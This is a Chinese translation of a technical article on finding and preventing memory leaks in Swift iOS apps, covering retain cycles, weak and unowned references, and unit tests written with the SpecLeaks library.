[苹果官方文档](https://developer.apple.com/library/content/documentation/DeveloperTools/Conceptual/InstrumentsUserGuide/CommonMemoryProblems.html)\n\n不论我们是新人还是老手，我们总会在某个时间点创造内存泄漏，这无关我们的经验多少。为了打造一个干净、不崩溃的应用，消除内存泄漏十分重要，因为它们**十分危险**。\n\n### 内存泄漏很危险\n\n内存泄漏不仅会**增加 app 的内存占用**，也会**引入有害的副作用**甚至**崩溃**。\n\n为什么**内存占用**会不断增长？它是对象没有被释放掉的直接后果。这些对象完全就是内存垃圾，当创建这些对象的操作不断被执行，它们占据的内存就会不断增长。太多的内存垃圾！这可能导致内存警告的情况，并且最终 app 会崩溃。\n\n解释**有害的副作用**需要更详细一点的细节。\n\n假设有一个对象在被创建时的 `init` 方法中开始监听一个通知。它每次监听到通知后的动作就是将一些东西存入数据库中，播放视频或者是对一个分析引擎发布一个事件。由于对象需要被平衡，我们必须要在它被释放时停止监听通知，这在 `deinit` 中实现。\n\n如果这样一个对象泄漏了，会发生什么？\n\n这个对象永远不会被释放，它永远不会停止监听通知。每一次通知被发布，该对象就会响应。如果用户反复执行操作，创建这个有问题的对象，那么就会有多个重复对象存在。所有这些对象都会响应这个通知，并且会彼此影响。\n\n在这种情况下，**崩溃可能是发生的最好情况**。\n\n大量泄漏的对象重复响应了 app 通知，改变数据库、用户界面，使得整个 app 的状态出错。你可以通过 [The Pragmatic Programmer](https://www.goodreads.com/book/show/4099.The_Pragmatic_Programmer) 这篇文章中的 **Dead Programs tell no lies** 了解这类问题的重要性。\n\n内存泄漏毫无疑问会导致非常差的用户体验以及 App Store 上的低分。\n\n### 内存泄漏于何处产生？\n\n比如第三方 SDK 或者框架都可能产生内存泄漏，甚至也包括 Apple 创造的某些类诸如 `CALayer` 或者 `UILabel`。在这些情况下，我们除了等待 SDK 更新或者弃用 SDK 之外别无他法。\n\n但内存泄漏更可能的是由我们自身的代码导致的。**内存泄漏的头号原因则是循环引用**。\n\n为了避免内存泄漏，我们必须理解内存管理和循环引用。\n\n### 循环引用\n\n**循环**这个词来源于 Objective-C 使用手动引用计数的时期。在能够使用自动引用计数和 Swift，以及我们现在针对值类型所能做的一切方便的事情之前，我们使用的是 Objective-C 和手动引用计数。你可以通过 [这篇文章](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html) 了解手动引用计数和自动引用计数。\n\n在那段时期，我们需要对内存处理了解更多。理解分配、拷贝、引用的含义，以及如何平衡这些操作（比如释放）是非常重要的。基本规则是不论你何时创造了一个对象，你就拥有了它并且你需要负责释放掉它。\n\n现在的事情简单很多，但是仍然需要学习一些概念。\n\nSwift 中当一个对象对强关联了另一个对象，就是引用了它。这里说的对象指的是引用类型，基本上就是类。\n\n结构体和枚举都是**值类型**。仅有值类型的话不太可能产生循环引用。当捕获和存储值类型（结构体和枚举）时，并不会有之前说的关于引用的种种问题。值都是被拷贝的，而不是被引用，尽管值也能持有对对象的引用。\n\n当一个对象引用了第二个对象，那么就拥有了它。第二个对象将会一直存在直到它被释放。这被称作**强引用**。直到当你将对应属性设置为 **nil** 时第二个对象才会被销毁。\n\n```\nclass Server {\n}\n\nclass Client {\n    var server : Server //Strong association to a Server instance\n    \n    init (server : Server) {\n        self.server = server\n    }\n}\n```\n\n强关联。\n\nA 持有 B 并且 B 持有 A 那么就造成了循环引用。\n\nA 👉 B + A 👈 B = 🌀\n\n```\nclass Server {\n    var clients : [Client] // 因为这里是强引用\n    \n    func add(client:Client){\n        self.clients.append(client)\n    }\n}\n\nclass Client {\n    var server : Server // 并且这里也是强引用\n    \n    init (server : Server) {\n        self.server = server\n        \n        self.server.add(client:self) // 这一行产生了循环引用 -> 内存泄漏\n    }\n}\n```\n\n循环引用。\n\n在这个例子中，不论 client 还是 server 都将无法被释放内存。\n\n为了从内存中释放，对象必须首先释放其所有的依赖关系。由于对象本身也是依赖项，因此无法释放。同样，**当一个对象存在循环引用时，它不会被释放**。\n\n当循环引用中的一个引用是**弱引用（weak）或者无主引用（unowned）**的时候，循环引用就可以被打破。有时候由于我们正在编写的代码需要相互关联，因此循环必须存在。但问题就在于不能所有的关联关系都是强关联，其中至少必须有一个是弱关联。\n\n```\nclass Server {\n    var clients : [Client] \n    \n    func add(client:Client){\n        self.clients.append(client)\n    }\n}\n\nclass Client {\n    weak var server : Server! // 此处为弱引用\n    \n    init (server : Server) {\n        self.server = server\n        \n        self.server.add(client:self) // 现在不存在循环引用了\n    }\n}\n```\n\n\n弱引用可以打破循环引用。\n\n### 如何打破循环引用\n\n> Swift 提供了两种方式用以解决使用引用类型时导致的强引用循环：Weak 和 Unowned。\n>\n> 在循环引用中使用 Weak 以及 Unowned，能让一个实例引用另一个实例时**不再**保持强持有。这样实例之间能够互相引用而不会产生强引用循环。\n>\n> [Apple’s Swift Programming Language](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html#//apple_ref/doc/uid/TP40014097-CH20-ID48)\n\n**Weak：** 一个变量能够可选地不持有其引用的对象。当变量并不持有其引用对象时，就是弱引用。**弱引用可以为 nil**。\n\n**Unowned：** 和弱引用相似，无主引用也不会强持有其引用的实例。但与弱引用不同的是，无主引用必须是一直有值的。正因如此，无主引用始终被定义为非可选类型。**无主引用不能为 nil**。\n\n[二者的使用时机](https://krakendev.io/blog/weak-and-unowned-references-in-swift)\n\n> 当闭包和它捕获的实例互相引用时，将闭包中的捕获值定义为无主引用，这样他们总是会同时被释放出内存。\n>\n> 相反的，将闭包中捕获的实例定义为弱引用时，这个捕获的引用有可能在未来变成 `nil`。弱引用始终是一个可选类型，当引用的实例被释放出内存时它就会自动变成 `nil`。\n>\n> [Apple’s Swift Programming Language](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html)\n\n```\nclass Parent {\n    var child : Child\n    var friend : Friend\n    \n    init (friend: Friend) {\n        self.child = Child()\n        self.friend = friend\n    }\n    \n    func doSomething() {\n        self.child.doSomething( onComplete: { [unowned self] in  \n              //The child dies with the parent, so, when the child calls onComplete, the Parent will be alive\n              self.mustBeAlive() \n        })\n        \n        self.friend.doSomething( onComplete: { [weak self] in\n            // The friend might outlive the Parent. The Parent might die and later the friend calls onComplete.\n              self?.mightNotBeAlive()\n        })\n    }\n}\n```\n\n对比弱引用和无主引用。\n\n写代码时忘记使用 `weak self` 的情况并不稀奇。我们经常在写闭包时引入内存泄漏，比如在使用 `flatMap` 和 `map` 这样的函数式代码时，或者是在写消息监听、代理的相关代码时。[这篇文章](https://medium.com/@stremsdoerfer/understanding-memory-leaks-in-closures-48207214cba) 里你可以读到更多关于闭包中内存泄漏的内容。\n\n### 如何消灭内存泄漏？\n\n1. 不要创造出内存泄漏。对内存管理有更深刻的认识。为项目定义完善的 [代码风格](https://swift.org/documentation/api-design-guidelines/%5C)，并且严格遵守。如果你足够严谨，并且遵循你的代码风格，那么缺少 `weak self` 也将容易被发现。代码审查也能提供很大帮助。\n2. 使用 [Swift Lint](https://github.com/realm/SwiftLint)。这是一个一个很棒的工具，能够强制你遵循一种代码风格，遵循第一条规则。它能够帮你早在编译期就发现一些问题，比如代理变量声明时并没有被声明为弱引用，这原本可能导致循环引用。\n3. 在运行期间检测内存泄漏，并将它们可视化。如果你清楚某个特定的对象在特定时刻有多少实例存在，那么你可以使用 [LifetimeTracker](https://github.com/krzysztofzablocki/LifetimeTracker)。这是一个能在开发模式下运行的好工具。\n4. 经常评测 app。Xcode 中的 [内存分析工具](https://developer.apple.com/library/content/documentation/DeveloperTools/Conceptual/InstrumentsUserGuide/CommonMemoryProblems.html) 非常有用，可以参考 [这篇文章](https://useyourloaf.com/blog/xcode-visual-memory-debugger/). 不久之前 Instruments 也是一种方法，这也是非常棒的工具。\n5. 使用 [**SpecLeaks**](https://cocoapods.org/pods/SpecLeaks) 对内存泄漏进行单元测试。这个第三方库使用 Quick 和 Nimble 让你方便地对内存泄漏进行测试。你可以在接下来的章节中更多地了解到它。\n\n### 对内存泄漏进行单元测试\n\n一旦我们知道循环和弱引用是怎么一回事，我们就能为循环引用编写测试，方法就是弱引用去检测循环。只需要对某个对象进行弱引用，我们就能测试出该对象是否有内存泄漏。\n\n> 因为弱引用并不会持有其引用的实例，所以当实例被释放出内存时，很可能弱引用仍然指向该实例。因此，**当弱引用引用的对象被释放后，自动引用计数会将弱引用设置为** `nil`。\n\n假设我们想知道 `x` 是否发生了内存泄漏，我们创建了一个指向它的弱引用，叫做 `leakReference`。如果 `x` 被从内存中释放，ARC 会将 `leakReference` 设置为 nil。所以，如果 `x` 发生了内存泄漏，`leakReference` 永远不会被设置为 nil。\n\n```\nfunc isLeaking() -> Bool {\n   \n    var x : SomeObject? = SomeObject()\n  \n    weak var leakReference = x\n  \n    x = nil\n    \n    if leakReference == nil {\n        return false // 没发生内存泄漏\n    }\n    else{\n        return true // 发生了内存泄漏\n    }\n}\n```\n\n测试一个对象是否发生内存泄漏。\n\n如果 `x` 真的发生了内存泄漏，弱引用 `leakReference` 会指向这个发生内存泄漏的实例。另一方面，如果该对象没发生内存泄露，那么在该对象被设置为 nil 之后，它将不再存在。这样的话，`leakReference` 将会为 nil。\n\n”Swift by Sundell” 在 [这篇文章](https://www.swiftbysundell.com/posts/using-unit-tests-to-identify-avoid-memory-leaks-in-swift) 中详细阐述了不同内存泄漏的区别，对我写本文以及 SpecLeaks 都有极大的帮助。另外 [一篇佳作](https://medium.com/wolox-driving-innovation/how-to-automatically-detect-a-memory-leak-in-ios-769b7bb1ec7c) 也采用了类似的方式。\n\n基于这些理论，我写出了 SpecLeacks，一个基于 Quick 和 Nimble、能够检测内存泄漏的拓展。核心就是编写单元测试来检测内存泄漏，不需要大量冗余的样板代码。\n\n### SpecLeaks\n\n结合使用 Quick 和 Nimble 能更好地编写更人性化、可读性更强的单元测试。[SpecLeaks](https://cocoapods.org/pods/SpecLeaks) 只是在这两个框架的基础之上增加了一点点功能，使其能够让你更方便地编写单元测试，来检测是否有对象发生了内存泄漏。\n\n如果你对单元测试并不了解，那么这张截图也许能够给你一个提示，告诉你单元测试做了些什么：\n\n![](https://cdn-images-1.medium.com/max/1000/1*i8K2uBxYToiym52MvIrFFQ.png)\n\n你可以写单元测试来实例化一些对象，并在基于它们做一些尝试。你定义期望的结果，以及怎样的结果才算符合预期，才能通过测试，让测试结果呈现绿色。如果最终结果并不符合最开始定义的预期，那么测试将会失败并呈现出红色。\n\n#### **测试初始化阶段的内存泄漏**\n\n这是检测内存泄漏的测试中，最简单的一个，只需要初始化一个实例并看它是否发生了内存泄漏。有时，这个对象注册了监听事件，或者是有代理方法，或者注册了通知，这些情况下，这类测试就能检测出一些内存泄漏：\n\n```\ndescribe(\"UIViewController\"){\n    let test = LeakTest{\n        return UIViewController()\n    }\n\n    describe(\"init\") {\n        it(\"must not leak\"){\n            expect(test).toNot(leak())\n        }\n    }\n}\n```\n\n测试初始化阶段。\n\n#### 测试 viewController 中的内存泄漏\n\n一个 viewController 可能在它的子视图加载完成后开始发生内存泄漏。在此之后，会发生大量的事情，但是使用这个简单的测试你就能保证在 viewDidLoad 方法中不存在内存泄漏。\n\n```\ndescribe(\"a CustomViewController\") {\n    let test = LeakTest{\n        let storyboard = UIStoryboard.init(name: \"CustomViewController\", bundle: Bundle(for: CustomViewController.self))\n        return storyboard.instantiateInitialViewController() as! CustomViewController\n    }\n\n    describe(\"init + viewDidLoad()\") {\n        it(\"must not leak\"){\n            expect(test).toNot(leak())\n            //SpecLeaks will detect that a view controller is being tested \n            // It will create it's view so viewDidLoad() is called too\n        }\n    }\n}\n```\n\n对一个 viewController 的 init 和 viewDidLoad 进行测试。\n\n使用 **SpecLeaks** 你不需要为了使 `viewDidLoad` 方法被调用而手动调用 viewController 上的 `view`。当你测试 `UIViewController` 的子类时 SpecLeaks 将会替你做这些。\n\n#### 测试方法被调用时的内存泄漏\n\n有时候初始化一个实例并不能判断是否发生了内存泄漏，因为内存泄漏有可能在某个方法被调用的时候发生。在这种情况下，你可以在操作被执行的时候测试是否有内存泄漏，像这样：\n\n```\ndescribe(\"doSomething\") {\n    it(\"must not leak\"){\n        \n        let doSomething : (CustomViewController) -> () = { vc in\n            vc.doSomething()\n        }\n\n        expect(test).toNot(leakWhen(doSomething))\n    }\n}\n```\n\n检测自定义 viewController 是否在 `doSomething` 方法被调用时发生内存泄漏。\n\n### 总结一下\n\n内存泄漏能产生大量问题，他们会导致极差的用户体验、崩溃和 App Store 中的差评，我们必须要消除它们。良好的代码风格、良好的实践、对内存管理透彻的理解以及单元测试都能起到有效的帮助。\n\n但是单元测试并不能保证内存测试完全不发生，你并不能覆盖所有的方法调用和状态，测试每一个存在与其他对象相互作用的东西是不太可能的。另外，有时候必须要模拟依赖，才能发现原始的依赖可能发生的内存泄漏。\n\n单元测试确实能降低发生内存泄漏的可能性，使用 [**SpeakLeaks**](https://cocoapods.org/pods/SpecLeaks) 可以非常方便的检测、发现出闭包中的内存泄漏，就比如 `flatMap` 或者是其他持有了 `self` 的逃逸闭包。如果你忘记将代理声明为弱引用也是同样的道理。\n\n我大量地使用了 RxSwift，以及 faltMap、map、subscribe 和一些其他需要传递闭包的函数。在这些情况下，缺少 weak 或 unowned 经常会导致内存泄漏，而使用 SpecLeaks 就能轻易的检测出来。\n\n就个人而言，我始终尝试在我的所有类之中增加这样的测试。例如每当我创造一个 viewController，我就会为它创造一份 SpecLeaks 代码。有时候 viewController 会在加载视图时发生内存泄漏，用这类测试就能轻而易举地发现。\n\n那么你意下如何？你会为检测内存泄漏而写单元测试吗？你会写测试吗？\n\n我希望你喜欢阅读本文，如果你有任何的建议和疑问都可以给我回复！请尽情尝试 SpeckLeaks :)\n\n* * *\n\n感谢 [Flawless App](https://medium.com/@FlawlessApp?source=post_page)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "article/2022/.gitkeep",
    "content": ""
  },
  {
    "path": "article/2023/.gitkeep",
    "content": ""
  }
]